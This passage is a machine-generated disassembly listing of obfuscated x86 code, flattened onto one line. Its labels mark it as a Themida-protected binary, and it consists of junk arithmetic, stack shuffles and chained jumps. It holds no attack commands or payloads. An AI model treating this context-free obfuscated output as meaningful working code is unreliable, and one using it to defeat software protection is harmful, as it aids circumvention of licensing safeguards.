2 xor edx, [esp-10h+arg_C] xor [esp-10h+arg_C], edx jmp loc_56BCC3 ; --------------------------------------------------------------------------- loc_569421: ; CODE XREF: sub_562ABA+5873j mov edx, 2F686D5Ch or edx, 5CB5589Dh sub edx, 2D570DA1h sub ecx, edx pop edx jmp loc_560CF2 ; --------------------------------------------------------------------------- loc_56943A: ; CODE XREF: sub_562ABA+75F7j mov [esp+6+var_8+2], eax pop dword ptr [edi+40h] push [esp+2+var_4+2] push [esp+6+var_8+2] jmp loc_5697BD ; --------------------------------------------------------------------------- loc_56944B: ; CODE XREF: sub_562ABA+AD90j mov eax, esp jmp loc_55F423 ; --------------------------------------------------------------------------- loc_569452: ; CODE XREF: Themida_:0055F821j push 6C79h mov [esp+0], edx push esp mov edx, [esp+12h+var_12] push edx push esp pop edx add edx, 4 jmp loc_55F76C ; --------------------------------------------------------------------------- loc_56946C: ; CODE XREF: sub_562ABA+AAF4j push ebp mov ebp, 49111DDDh add esi, ebp pop ebp and ebp, esi jmp loc_570119 ; --------------------------------------------------------------------------- loc_56947C: ; CODE XREF: sub_562ABA+E879j pop ecx jmp loc_5651DC ; --------------------------------------------------------------------------- loc_569482: ; CODE XREF: sub_562ABA+921Bj not esi xchg esi, ecx xor [esp+12h+var_12], ecx xor ecx, [esp+12h+var_12] xor [esp+12h+var_12], ecx push [esp+12h+var_12] pop eax push 9Eh mov [esp+16h+var_16], edx mov edx, esp push ebx push 334C1694h pop ebx add ebx, 0CCB3E970h add edx, ebx pop ebx add edx, 4 xchg edx, [esp+16h+var_16] mov esp, [esp+16h+var_16] push ebp mov ebp, esp jmp loc_567A31 ; --------------------------------------------------------------------------- loc_5694BE: ; CODE XREF: sub_562ABA+4662j neg ecx jmp loc_560E74 ; --------------------------------------------------------------------------- loc_5694C5: ; CODE XREF: sub_562ABA+6CC3j push edi mov edi, 70B64B5h push ecx mov ecx, edi jmp loc_566200 ; --------------------------------------------------------------------------- loc_5694D3: ; CODE XREF: sub_562ABA-1F58j sub bl, 16h jmp loc_56368B ; --------------------------------------------------------------------------- loc_5694DB: ; CODE XREF: sub_562ABA+3684j mov ecx, 3C7525F4h xor ecx, 3C7525F0h add eax, ecx mov ecx, [esp+1Eh+var_1E] jmp loc_56FE99 ; --------------------------------------------------------------------------- mov esp, [esp+1Eh+var_1E] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5694F8: ; CODE XREF: sub_562ABA+71A5j push 1 mov edx, [esp+22h+var_22] jmp loc_566853 ; --------------------------------------------------------------------------- loc_569505: ; CODE XREF: sub_562ABA+1001Cj push edi mov edi, 1CAB45BFh or eax, edi pop edi push ebx mov ebx, 2C843FBAh jmp loc_56C70F ; --------------------------------------------------------------------------- loc_569519: ; CODE XREF: sub_562ABA+4D7Dj xor edi, 5D16137Dh jmp loc_563C2F ; --------------------------------------------------------------------------- loc_569524: ; CODE XREF: sub_562ABA+C7B8j add esp, 2 sub al, 9Ah mov ebx, [esp-8+arg_4] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_565337 ; --------------------------------------------------------------------------- loc_569546: ; CODE XREF: sub_562ABA+17BAj add edi, esi pop esi jmp loc_56A404 ; --------------------------------------------------------------------------- loc_56954E: ; CODE XREF: sub_562ABA-4366j sub esi, eax jmp loc_5636E8 ; --------------------------------------------------------------------------- loc_569555: ; CODE XREF: sub_562ABA-CEFj pop eax xchg ebp, [esp+36h+var_36] pop esp pop ecx sub esp, 4 mov [esp+32h+var_32], ecx mov ecx, 7C10DCC3h xor ebx, ecx pop ecx sub eax, 0CD91EF0h jmp loc_562E10 ; --------------------------------------------------------------------------- loc_569573: ; CODE XREF: sub_562ABA+1099j mov [esp+46h+var_46], ebx push esi mov esi, 39115CB7h mov ebx, 9A5F9482h sub ebx, esi jmp loc_565B0E ; --------------------------------------------------------------------------- loc_569588: ; CODE XREF: sub_562ABA+28D1j push 1DCAh mov [esp-4+arg_0], eax not [esp-4+arg_0] pop eax xor eax, 0DAA8C5CDh add esi, eax pop eax sub esi, 4 jmp loc_5656F4 ; --------------------------------------------------------------------------- loc_5695A7: ; CODE XREF: sub_562ABA+28B7j sub esp, 4 mov [esp+12h+var_12], esi push ecx push esi mov esi, 5022138Dh mov ecx, 379C48DEh xor ecx, esi pop esi mov esi, ecx pop ecx jmp loc_563C5A ; --------------------------------------------------------------------------- loc_5695C7: ; CODE XREF: sub_562ABA+7E0Dj pop edi jmp loc_563AC6 ; --------------------------------------------------------------------------- loc_5695CD: ; CODE XREF: sub_562ABA+3D15j mov edx, [esp+36h+var_36] add esp, 4 sub ecx, eax add ecx, 58080ABFh push eax mov eax, 5205715Eh xor eax, 679A7B6Ch add ecx, eax mov eax, [esp+36h+var_36] add esp, 4 mov eax, [esp+32h+var_32] add esp, 4 jmp loc_5604D7 ; --------------------------------------------------------------------------- loc_5695F9: ; CODE XREF: sub_562ABA-4C7j xor ebx, [esp+22h+var_22] xor [esp+22h+var_22], ebx xor ebx, [esp+22h+var_22] jmp loc_566A07 ; --------------------------------------------------------------------------- loc_569607: ; CODE XREF: sub_562ABA+7B98j pop [esp+22h+var_22] add [esp+1Eh+var_1E], 4 jmp loc_567C39 ; --------------------------------------------------------------------------- loc_569616: ; CODE XREF: sub_562ABA+D949j mov edi, esp add edi, 4 push ebp mov ebp, 20D96C3Dh sub ebp, 23405938h push eax jmp loc_55E62E ; --------------------------------------------------------------------------- loc_569630: ; CODE XREF: sub_562ABA+9C0Ej push esp pop edx add edx, 4 jmp loc_566650 ; --------------------------------------------------------------------------- loc_56963D: ; CODE XREF: sub_56112E+200j push 482Fh push 26C5h jmp near ptr word_55FFF6 ; --------------------------------------------------------------------------- loc_56964C: ; CODE XREF: sub_562ABA+4104j add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp+16h+var_16] mov esp, [esp+16h+var_16] mov [esp+16h+var_16], ebx jmp loc_56E19B ; --------------------------------------------------------------------------- loc_569663: ; CODE XREF: sub_562ABA+CA25j pop esp shr [esp+12h+var_12], cl pushf jmp loc_55FC3C ; --------------------------------------------------------------------------- loc_56966D: ; CODE XREF: sub_562ABA-302Ej add esi, 4 xchg esi, [esp+1Eh+var_1E] jmp loc_571FA2 ; --------------------------------------------------------------------------- loc_56967B: ; CODE XREF: sub_562ABA+C10j add esp, 4 pop [esp+46h+var_46] mov esp, [esp+42h+var_42] jmp loc_56E2DE ; --------------------------------------------------------------------------- loc_56968C: ; CODE XREF: Themida_:00572A4Aj sub esi, 24472FCFh add esi, ebp add esi, 24472FCFh pop ebp add ebx, 4659016Bh add ebx, esi push ebp mov ebp, 4659016Bh sub ebx, ebp pop ebp pop esi push ecx mov ecx, 4 add ebx, ecx jmp loc_5729FD ; --------------------------------------------------------------------------- loc_5696BA: ; CODE XREF: sub_562ABA+7DB6j sub esp, 4 jmp loc_56D55D ; --------------------------------------------------------------------------- loc_5696C2: ; CODE XREF: sub_562ABA+3FA5j xor bl, 62h not bl xor bl, 7 mov cl, bl pop ebx push small 517Eh mov [esp+0], ax mov ah, 33h and cl, ah mov ax, [esp+0] add esp, 2 push ax mov ah, 0FFh add cl, ah pop ax shl cl, 5 push edx push ebx mov bl, 67h mov dh, 0F2h xor dh, bl pop ebx xor cl, dh jmp loc_566E6C ; --------------------------------------------------------------------------- loc_5696FB: ; CODE XREF: sub_562ABA+EC0Dj push esi push esp push [esp+16h+var_16] pop esi push edi mov edi, esp add edi, 4 jmp loc_571FC6 ; --------------------------------------------------------------------------- loc_56970F: ; CODE XREF: sub_562ABA+4387j mov eax, [esp+5Ch+var_5E+2] add esp, 4 jmp loc_56D9D4 ; --------------------------------------------------------------------------- loc_56971A: ; CODE XREF: sub_562ABA-8CAj push ebx jmp loc_5661ED ; --------------------------------------------------------------------------- loc_569720: ; CODE XREF: sub_562ABA+F3Bj pop esp add esi, 4 jmp loc_5677AE ; --------------------------------------------------------------------------- loc_56972C: ; CODE XREF: sub_562ABA+D0F4j mov [esp+0Ah+var_C+2], edx jmp loc_564EC6 ; --------------------------------------------------------------------------- loc_569734: ; CODE XREF: sub_562ABA+725Dj add ebp, 4E875674h jmp loc_56F2ED ; --------------------------------------------------------------------------- loc_56973F: ; CODE XREF: sub_562ABA+2B3Ej xor eax, ecx push 4C46h mov [esp+16h+var_16], eax sub esp, 4 jmp loc_562521 ; --------------------------------------------------------------------------- loc_569751: ; CODE XREF: sub_562ABA+E20Bj push 3790h mov [esp+1Eh+var_1E], ebx jmp loc_56B16C ; --------------------------------------------------------------------------- loc_56975E: ; CODE XREF: sub_562ABA+8F6Dj pop edx push ebp push ebx mov ebx, 4 jmp loc_5677E3 ; --------------------------------------------------------------------------- loc_56976B: ; CODE XREF: sub_562ABA-279j mov esi, 43064560h jmp loc_570958 ; --------------------------------------------------------------------------- loc_569775: ; CODE XREF: sub_562ABA+E103j add ebp, 4 push edx push ebp jmp loc_5694C5 ; --------------------------------------------------------------------------- loc_569782: ; CODE XREF: sub_562ABA+BFF6j mov esi, 62E10DF9h neg esi shr esi, 1 jmp loc_563C7D ; --------------------------------------------------------------------------- loc_569790: ; CODE XREF: sub_562ABA+CEEBj and ebx, 35022B13h sub ebx, 0C24AF02Dh jmp loc_564875 ; --------------------------------------------------------------------------- loc_5697A1: ; CODE XREF: sub_562ABA-3A66j mov [esp+2Ah+var_2C+2], esi jmp loc_560BDA ; --------------------------------------------------------------------------- loc_5697A9: ; CODE XREF: sub_562ABA+FA99j mov [esp+2Ah+var_2C+2], edx push esp pop edx jmp loc_570A2F ; --------------------------------------------------------------------------- loc_5697B3: ; CODE XREF: sub_562ABA-387Bj sub eax, 1A457048h jmp loc_567E65 ; --------------------------------------------------------------------------- loc_5697BD: ; CODE XREF: sub_562ABA+698Cj pop eax push edx push esp pop edx add edx, 4 add edx, 4 push edx jmp loc_5723E6 ; --------------------------------------------------------------------------- loc_5697D3: ; CODE XREF: sub_562ABA+A3A3j mov ebx, esp jmp loc_57151D ; --------------------------------------------------------------------------- loc_5697DA: ; CODE XREF: sub_562ABA-26ECj mov [esp-8+arg_4], ecx push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp+0], edx mov edx, 3B816537h jmp loc_572856 ; --------------------------------------------------------------------------- loc_5697F9: ; CODE XREF: sub_562ABA+2CD9j add ecx, edi jmp loc_562C30 ; --------------------------------------------------------------------------- loc_569800: ; CODE XREF: sub_562ABA+7583j add esp, 4 shl ecx, 2 add ecx, 48840551h jmp loc_564F84 ; --------------------------------------------------------------------------- loc_569814: ; CODE XREF: sub_562ABA+5486j mov esi, [esp+0] add esp, 4 or ecx, 631C7557h xor ecx, 482C36AEh mov esi, ecx pop ecx push esi not [esp-6+arg_0+2] pop esi or esi, 799C4DC1h shl esi, 3 shl esi, 2 inc esi add esi, 0FD8A4A7Eh jmp loc_563141 ; --------------------------------------------------------------------------- loc_569849: ; CODE XREF: sub_562ABA+487j xor eax, esi pop esi mov ecx, eax pop eax add ecx, 0C2D5A558h xor eax, ecx push [esp+0Ch+var_C] pop ecx add esp, 4 push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebp mov ebp, 5CB05305h push eax jmp loc_56C149 ; --------------------------------------------------------------------------- loc_56987F: ; CODE XREF: sub_562ABA+4DE0j not bl shl bl, 5 jmp loc_569353 ; --------------------------------------------------------------------------- loc_569889: ; CODE XREF: sub_562ABA+B882j pop esp mov [esp-0Eh+arg_8+2], edi mov edi, 4 add edx, edi pop edi jmp loc_564E88 ; --------------------------------------------------------------------------- loc_56989A: ; CODE XREF: sub_562ABA+D357j pop edi jmp loc_56F695 ; --------------------------------------------------------------------------- loc_5698A0: ; CODE XREF: sub_562ABA+6F7Aj pop edx pop [esp-1Ah+arg_14+2] pop esp jmp loc_562D8D ; --------------------------------------------------------------------------- loc_5698AA: ; CODE XREF: sub_562ABA+4A5Aj add ebp, 0EC018626h jmp loc_56219A ; --------------------------------------------------------------------------- loc_5698B5: ; CODE XREF: sub_562ABA-46DFj pop ebx push ebp mov ebp, 1A7533DCh sub eax, ebp pop ebp jmp loc_56789F ; --------------------------------------------------------------------------- loc_5698C4: ; CODE XREF: sub_562ABA+167j mov edi, 47F95661h jmp loc_566581 ; --------------------------------------------------------------------------- loc_5698CE: ; CODE XREF: sub_562ABA+54D9j mov ebp, edi pop edi push ebp jmp loc_56F2C8 ; --------------------------------------------------------------------------- loc_5698D7: ; CODE XREF: sub_562ABA+1EEAj push ecx push [esp-8+arg_8] pop ecx pop [esp-8+arg_4] jmp loc_5717B6 ; --------------------------------------------------------------------------- loc_5698E5: ; DATA XREF: Themida_:0055DDD8o lodsd xor eax, ebx sub esp, 4 mov [esp-8+arg_4], esi push eax mov eax, 1AAE9FA2h mov esi, eax jmp loc_564B13 ; --------------------------------------------------------------------------- loc_5698FE: ; CODE XREF: sub_562ABA-33A3j push [esp+0Ah+var_8+2] pop eax pop [esp+0Ah+var_C+2] jmp loc_5728B0 ; --------------------------------------------------------------------------- loc_56990B: ; CODE XREF: sub_562ABA+FD97j push [esp+6+var_8+2] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ah+var_C+2] pop esp add ebx, 5F25452Dh push dword ptr [eax] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56992F: ; CODE XREF: sub_562ABA+63F6j pop eax and esi, 661A41A8h add esi, 15681A91h sub esi, 3A99F6BAh add edx, 25B47E1Ah sub edx, esi sub edx, 25B47E1Ah pop esi push 6299h jmp loc_56CB07 ; --------------------------------------------------------------------------- loc_56995B: ; CODE XREF: sub_55FCA5+4BBj pop edx sub esp, 4 mov [esp+0], edi jmp loc_5710E4 ; --------------------------------------------------------------------------- loc_56996A: ; CODE XREF: sub_562ABA+AAE3j add esp, 4 pop [esp+0Ah+var_C+2] pop esp mov [esp+2+var_4+2], ecx push edx jmp loc_57209E ; --------------------------------------------------------------------------- loc_56997A: ; CODE XREF: sub_562ABA-477Aj push edx mov edx, esp jmp loc_570A88 ; --------------------------------------------------------------------------- loc_569982: ; CODE XREF: sub_562ABA+93F0j sub eax, 0AFEDF9BEh jmp loc_55E809 ; --------------------------------------------------------------------------- loc_56998C: ; CODE XREF: sub_562ABA+9F52j push ebp jmp loc_570E83 ; --------------------------------------------------------------------------- loc_569992: ; CODE XREF: sub_562ABA-1544j mov esi, [esp-16h+arg_10+2] push 5FDEh mov [esp-12h+arg_C+2], edx push esp pop edx add edx, 4 jmp loc_561E9B ; --------------------------------------------------------------------------- loc_5699AA: ; CODE XREF: sub_562ABA+5B0Cj and ecx, edx jmp loc_5718CF ; --------------------------------------------------------------------------- loc_5699B1: ; CODE XREF: sub_562ABA+7250j neg esi sub esi, 7F584D9Eh xor ecx, esi pop esi jmp loc_56813A ; --------------------------------------------------------------------------- loc_5699C1: ; CODE XREF: sub_562ABA+BA21j pop ebx add eax, 3B7A36E2h jmp loc_5612FC ; --------------------------------------------------------------------------- loc_5699CC: ; CODE XREF: sub_562ABA+9A67j push 3FCh mov ecx, [esp+0] add esp, 4 push esi jmp loc_56E189 ; --------------------------------------------------------------------------- loc_5699DD: ; CODE XREF: sub_562ABA+284j push 624Eh mov [esp+6+var_8+2], ecx jmp loc_568769 ; --------------------------------------------------------------------------- loc_5699EA: ; CODE XREF: sub_562ABA+EABDj push edi pop ecx pop edi jmp loc_55FC9D ; --------------------------------------------------------------------------- loc_5699F2: ; CODE XREF: sub_562ABA+7CC3j mov ebp, 557A2150h shl ebp, 1 sub ebp, 0AAF4429Ch add eax, ebp pop ebp add eax, 4 xchg eax, [esp+0] pop esp push 5594h mov [esp+0], edx push ecx push 577Dh mov [esp+6+var_8+2], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+6+var_8+2] jmp loc_5670B4 ; --------------------------------------------------------------------------- loc_569A30: ; CODE XREF: sub_562ABA+DCE6j push [esp+6+var_4+2] jmp loc_5698A0 ; --------------------------------------------------------------------------- loc_569A39: ; CODE XREF: sub_562ABA+4AC4j push 1538h jmp loc_56D9FA ; --------------------------------------------------------------------------- loc_569A43: ; CODE XREF: sub_562ABA+3544j mov ah, 1Ah add dl, ah mov ax, [esp+0] add esp, 2 xor al, dl push [esp+20h+var_22+2] mov edx, [esp+0] add esp, 4 sub esp, 4 jmp loc_560732 ; --------------------------------------------------------------------------- loc_569A64: ; CODE XREF: sub_562ABA+5C13j push ecx mov ecx, esp jmp loc_56DB8D ; --------------------------------------------------------------------------- loc_569A6C: ; CODE XREF: sub_562ABA+23F6j pop eax push edx jmp loc_5670A9 ; --------------------------------------------------------------------------- loc_569A73: ; CODE XREF: sub_562ABA-3666j pop ebp xor ebp, 76D264DDh mov eax, ebp mov ebp, [esp+1Eh+var_1E] push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+22h+var_22] xor [esp+22h+var_22], esi xor esi, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], eax push 279Bh push esp pop [esp+26h+var_28+2] add [esp+22h+var_22], 4 push [esp+22h+var_22] jmp loc_5728CC ; --------------------------------------------------------------------------- loc_569AB0: ; CODE XREF: sub_562ABA+940Cj or eax, eax jz loc_56880B push dword ptr [edi+28h] push [esp+2Ah+var_2C+2] push dword ptr [esp+0] pop eax sub esp, 4 jmp loc_56260B ; --------------------------------------------------------------------------- loc_569ACD: ; CODE XREF: sub_562ABA+576Aj mov esi, edx jmp loc_56AA32 ; --------------------------------------------------------------------------- loc_569AD4: ; CODE XREF: sub_562ABA+25EAj mov eax, 64F713A1h xor eax, 164603CFh jmp loc_5712E3 ; --------------------------------------------------------------------------- push [esp+36h+var_36] mov eax, [esp+3Ah+var_3A] push edx jmp loc_56E67F ; --------------------------------------------------------------------------- loc_569AEF: ; CODE XREF: sub_562ABA+5044j xchg ebp, [esp+0] jmp loc_56001D ; --------------------------------------------------------------------------- loc_569AF7: ; CODE XREF: sub_562ABA+609Aj add esp, 4 sub cl, 7Ch push eax jmp loc_570255 ; --------------------------------------------------------------------------- loc_569B06: ; CODE XREF: sub_562ABA-A91j add edx, edi push edi mov edi, 4B356671h add edx, edi pop edi mov edi, [esp+0] add esp, 4 sub esi, 4D06C82h sub esi, edx add esi, 4D06C82h pop edx push esi push [esp+0Ah+var_8+2] pop esi pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] mov [esp+6+var_8+2], edx push 32B0h jmp loc_56D86C ; --------------------------------------------------------------------------- loc_569B3F: ; CODE XREF: sub_55FCA5+318j mov cl, 84h shr cl, 7 and cl, 0F0h xor cl, 4Ah sub al, cl pop ecx jmp loc_562CC8 ; --------------------------------------------------------------------------- loc_569B52: ; CODE XREF: sub_562ABA+F5DFj add ebp, 4 jmp loc_5634CD ; --------------------------------------------------------------------------- loc_569B5D: ; CODE XREF: sub_562ABA+EFAj not edi not edi shl edi, 4 jmp loc_5675BB ; --------------------------------------------------------------------------- loc_569B69: ; CODE XREF: sub_562ABA-33D2j inc ecx add ecx, 462F61A5h add ecx, 0A9CB5D52h mov edx, ecx pop ecx jmp loc_56F03B ; --------------------------------------------------------------------------- loc_569B7E: ; CODE XREF: sub_562ABA+582Cj pop ecx push 1F81h mov [esp+16h+var_16], ecx mov ecx, esp jmp loc_567347 ; --------------------------------------------------------------------------- loc_569B8E: ; CODE XREF: sub_562ABA+9E56j sub edx, 0FFFFFFFFh jmp loc_55F6B6 ; --------------------------------------------------------------------------- loc_569B96: ; DATA XREF: Themida_:0055DFA4o mov ax, word ptr [esp+16h+var_16] jmp loc_56F637 ; --------------------------------------------------------------------------- loc_569B9F: ; CODE XREF: sub_562ABA+1CCBj mov esp, [esp+6+var_8+2] jmp loc_5714E9 ; --------------------------------------------------------------------------- loc_569BA7: ; CODE XREF: sub_562ABA+4928j add ebx, edi jmp loc_56BEAF ; --------------------------------------------------------------------------- loc_569BAE: ; CODE XREF: sub_562ABA+7BF7j mov esp, [esp+10h+var_12+2] imul cx push small 0A0Bh jmp loc_56D48C ; --------------------------------------------------------------------------- loc_569BBD: ; CODE XREF: sub_562ABA-1E87j push ebx mov bl, 0DFh shl bl, 7 add bl, 9Eh add al, bl mov ebx, [esp-8+arg_4] add esp, 4 mov cx, word ptr [esp-0Ch+arg_8] jmp loc_55F5B7 ; --------------------------------------------------------------------------- loc_569BD7: ; CODE XREF: sub_562ABA+3E00j add esi, 92DE6E6Ch add edx, esi jmp loc_5651E3 ; --------------------------------------------------------------------------- loc_569BE4: ; CODE XREF: sub_562ABA+2F10j shr bl, 6 jmp loc_56727F ; --------------------------------------------------------------------------- loc_569BEC: ; CODE XREF: sub_562ABA+F7DCj push [esp+4Eh+var_4E] jmp loc_572BA2 ; --------------------------------------------------------------------------- loc_569BF4: ; CODE XREF: sub_562ABA+AD14j add esp, 4 movsx ecx, ax push 1399h mov [esp+52h+var_52], ecx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_569C0A: ; CODE XREF: sub_562ABA-1533j add ecx, ebp jmp loc_561710 ; --------------------------------------------------------------------------- loc_569C11: ; CODE XREF: sub_562ABA+8FFAj add ebx, 1F179120h mov eax, ebx pop ebx mov edx, 48A0FB5h jmp loc_56ADB3 ; --------------------------------------------------------------------------- loc_569C24: ; CODE XREF: sub_562ABA+1C1Aj xor ebp, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] push 79D7h mov [esp+0], ebx jmp loc_56C9DE ; --------------------------------------------------------------------------- loc_569C37: ; CODE XREF: sub_562ABA+598Bj pop eax add esp, 4 xchg ecx, [esp-12h+arg_C+2] pop esp add esi, eax push edx push edi jmp loc_5634AC ; --------------------------------------------------------------------------- loc_569C48: ; CODE XREF: sub_562ABA-1F9j push ebx push 512Ch jmp loc_5682B0 ; --------------------------------------------------------------------------- loc_569C53: ; CODE XREF: sub_562ABA+AC0Cj add esp, 4 pop [esp+32h+var_32] mov esp, [esp+0] mov [esp+0], edx jmp loc_5694F8 ; --------------------------------------------------------------------------- loc_569C64: ; CODE XREF: sub_562ABA+D38Ej sub edx, ebp jmp loc_56532B ; --------------------------------------------------------------------------- loc_569C6B: ; CODE XREF: sub_562ABA+CF71j sub esp, 4 mov [esp+32h+var_32], ebx mov bl, dh mov ch, bl pop ebx mov edx, [esp+0] jmp loc_5688CB ; --------------------------------------------------------------------------- loc_569C81: ; CODE XREF: sub_562ABA+12F3j add esi, ebx pop ebx push edx jmp loc_568D4F ; --------------------------------------------------------------------------- loc_569C8A: ; CODE XREF: Themida_:00571F77j xchg cx, si jmp loc_570153 ; --------------------------------------------------------------------------- loc_569C92: ; CODE XREF: sub_562ABA+1715j xchg eax, edi push esi jmp loc_560FE5 ; --------------------------------------------------------------------------- loc_569C99: ; CODE XREF: sub_562ABA+4D1Fj add [esp+42h+var_42], 64E93BE0h pop eax push esi push 711Bh jmp loc_57043D ; --------------------------------------------------------------------------- loc_569CAC: ; CODE XREF: sub_562ABA+324Fj add ebx, 4 xchg ebx, [esp+26h+var_28+2] pop esp add ebx, 4 push ebx push [esp+26h+var_22] pop ebx pop [esp+26h+var_28+2] mov esp, [esp+22h+var_22] dec [esp+22h+var_22] pushf jmp loc_560563 ; --------------------------------------------------------------------------- loc_569CCE: ; CODE XREF: sub_562ABA+924Bj push [esp+26h+var_28+2] push [esp+2Ah+var_2C+2] jmp loc_56CBD6 ; --------------------------------------------------------------------------- loc_569CD9: ; CODE XREF: sub_562ABA-16FCj add [esp-0Ch+arg_C], edx pop edx pop ebp jmp loc_5657FD ; --------------------------------------------------------------------------- loc_569CE4: ; CODE XREF: sub_562ABA+E91Cj mov ebp, 55285FBFh add ebp, 0FFFFFFFFh sub ebp, 2C515437h jmp sub_55EEB7 ; --------------------------------------------------------------------------- loc_569CF7: ; CODE XREF: sub_562ABA+11Aj mov edx, [esp+12h+var_12] push 57A0h jmp loc_55EB54 ; --------------------------------------------------------------------------- loc_569D04: ; CODE XREF: sub_562ABA+3F94j or esi, 678B5B5Fh jmp loc_5699B1 ; --------------------------------------------------------------------------- loc_569D0F: ; CODE XREF: sub_562ABA-20D4j sub ebp, 4E875674h add ebp, edx jmp loc_569734 ; --------------------------------------------------------------------------- loc_569D1C: ; CODE XREF: Themida_:0056091Bj mov edi, esp add edi, 4 push esi jmp loc_565493 ; --------------------------------------------------------------------------- loc_569D2A: ; CODE XREF: sub_562ABA+D019j mov eax, ebp mov ebp, [esp+2Ah+var_2C+2] jmp loc_56C72D ; --------------------------------------------------------------------------- loc_569D34: ; CODE XREF: sub_562ABA+C2D4j pop cx or bl, 8Ch jmp loc_561D12 ; --------------------------------------------------------------------------- loc_569D3E: ; CODE XREF: sub_562ABA+F5B3j xchg esi, [esp+28h+var_28] pop esp push ebp mov ebp, 4 jmp loc_5637A2 ; --------------------------------------------------------------------------- loc_569D4D: ; CODE XREF: sub_562ABA+DCB5j add edx, 4 push esi push ebp mov ebp, 3E735D2Ch push edx jmp loc_5627EA ; --------------------------------------------------------------------------- loc_569D60: ; CODE XREF: sub_562ABA-2E96j push 7BC1h mov [esp+12h+var_12], ebx jmp loc_56A56F ; --------------------------------------------------------------------------- loc_569D6D: ; CODE XREF: sub_562ABA-1E21j pop ecx not edx add edx, 6AD00D09h sub edx, 0AEDF54ECh add ecx, edx jmp loc_56505A ; --------------------------------------------------------------------------- loc_569D83: ; CODE XREF: sub_562ABA+B3BCj mov ebp, ebx jmp loc_5615FC ; --------------------------------------------------------------------------- loc_569D8A: ; CODE XREF: sub_562ABA+B848j add esp, 4 sub ebx, 28EE40A0h jmp loc_56F53B ; --------------------------------------------------------------------------- loc_569D98: ; CODE XREF: sub_562ABA+8A86j xchg edx, [esp-0Ah+arg_4+2] jmp loc_565FAE ; --------------------------------------------------------------------------- loc_569DA0: ; CODE XREF: sub_562ABA-32A7j pop esi add esp, 4 mov edi, [esp+1Eh+var_1E] push edi mov edi, esp add edi, 4 jmp loc_5686AA ; --------------------------------------------------------------------------- loc_569DB8: ; CODE XREF: sub_562ABA+A0C0j add bh, 0Ch add bh, 98h xor ch, bh jmp loc_56A700 ; --------------------------------------------------------------------------- loc_569DC5: ; CODE XREF: sub_562ABA-8FBj pop ecx sub esp, 4 mov [esp+1Ch+var_1E+2], ebx jmp loc_56D46D ; --------------------------------------------------------------------------- loc_569DD4: ; CODE XREF: sub_562ABA+7670j push edx mov edx, esp push 0AEEh mov [esp+0], esi mov esi, 7BFC6778h shl esi, 7 push ebp jmp loc_56BB4A ; --------------------------------------------------------------------------- loc_569DED: ; CODE XREF: sub_562ABA-DCEj add esi, 1BC622Ch pop ebx mov edx, [esp+0Ah+var_C+2] add esp, 4 add [esp+6+var_4+2], 754274B3h add [esp+6+var_4+2], esi sub [esp+6+var_4+2], 754274B3h jmp loc_55F935 ; --------------------------------------------------------------------------- loc_569E16: ; CODE XREF: sub_562ABA+87C2j push 1645h mov [esp+0Ah+var_C+2], ecx push ebp mov ebp, 1691071Ah mov ecx, 1B973274h jmp loc_56A026 ; --------------------------------------------------------------------------- loc_569E2E: ; CODE XREF: sub_562ABA+F507j mov [esp+0], esp jmp loc_56C7B1 ; --------------------------------------------------------------------------- loc_569E36: ; CODE XREF: sub_55FCA5+28Dj mov eax, 4B6029E3h shl eax, 1 push edx jmp loc_55FA91 ; --------------------------------------------------------------------------- loc_569E43: ; CODE XREF: sub_562ABA+E8D6j add dword ptr [esp+4], 45D044B1h push [esp+12h+var_12] pop ecx jmp loc_56079A ; --------------------------------------------------------------------------- loc_569E54: ; CODE XREF: sub_562ABA+3712j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55FA7F ; --------------------------------------------------------------------------- loc_569E67: ; CODE XREF: sub_562ABA+4E39j mov [esp+1Ah+var_1A], ebp push esp jmp loc_571F6D ; --------------------------------------------------------------------------- loc_569E70: ; CODE XREF: sub_562ABA-3B60j add ebp, ecx pop ecx jmp loc_55E9DF ; --------------------------------------------------------------------------- loc_569E78: ; CODE XREF: sub_562ABA+C40Bj inc bl push eax mov al, 0ECh sub bl, al jmp loc_563DE1 ; --------------------------------------------------------------------------- loc_569E84: ; CODE XREF: sub_562ABA+B756j mov esp, [esp+2Ah+var_2C+2] movzx ax, byte ptr [eax] push 367Bh jmp loc_5658D8 ; --------------------------------------------------------------------------- loc_569E95: ; CODE XREF: sub_562ABA-1471j pop edx jmp loc_56C2DA ; --------------------------------------------------------------------------- loc_569E9B: ; CODE XREF: sub_562ABA+B9B5j push eax push esi push 6C156227h pop esi xor esi, 3A757B6Eh shr esi, 1 xor esi, 7C4F45CBh push esi sub [esp-0Ah+arg_4+2], 14DF0493h pop eax jmp loc_56BF93 ; --------------------------------------------------------------------------- loc_569EBF: ; CODE XREF: sub_562ABA+557Dj push edi jmp loc_56F7DA ; --------------------------------------------------------------------------- loc_569EC5: ; CODE XREF: sub_562ABA-30C8j mov [esp+6+var_8+2], ecx mov ecx, 11C621A1h sub edi, ecx pop ecx not edi add edi, 6F5298DBh jmp loc_5721A6 ; --------------------------------------------------------------------------- loc_569EDD: ; CODE XREF: sub_562ABA+D1FAj add ecx, eax pop eax add edx, ecx mov ecx, [esp+0] add esp, 4 neg edx add edx, 874E715Dh jmp sub_561E53 ; --------------------------------------------------------------------------- loc_569EF5: ; CODE XREF: sub_562ABA+61F1j not ah add ah, 88h jmp loc_572990 ; --------------------------------------------------------------------------- loc_569EFF: ; CODE XREF: sub_562ABA+2A5Bj xchg ebx, ebp add ebx, 0FFFFFFFFh push ebp sub esp, 4 mov [esp+5Eh+var_5E], ebx pop ebp pop ebx not ebp add ebp, 1 jmp loc_5720EC ; --------------------------------------------------------------------------- loc_569F20: ; CODE XREF: sub_562ABA+E194j pop ebp jmp loc_5719FC ; --------------------------------------------------------------------------- loc_569F26: ; CODE XREF: sub_562ABA+4A43j mov esi, 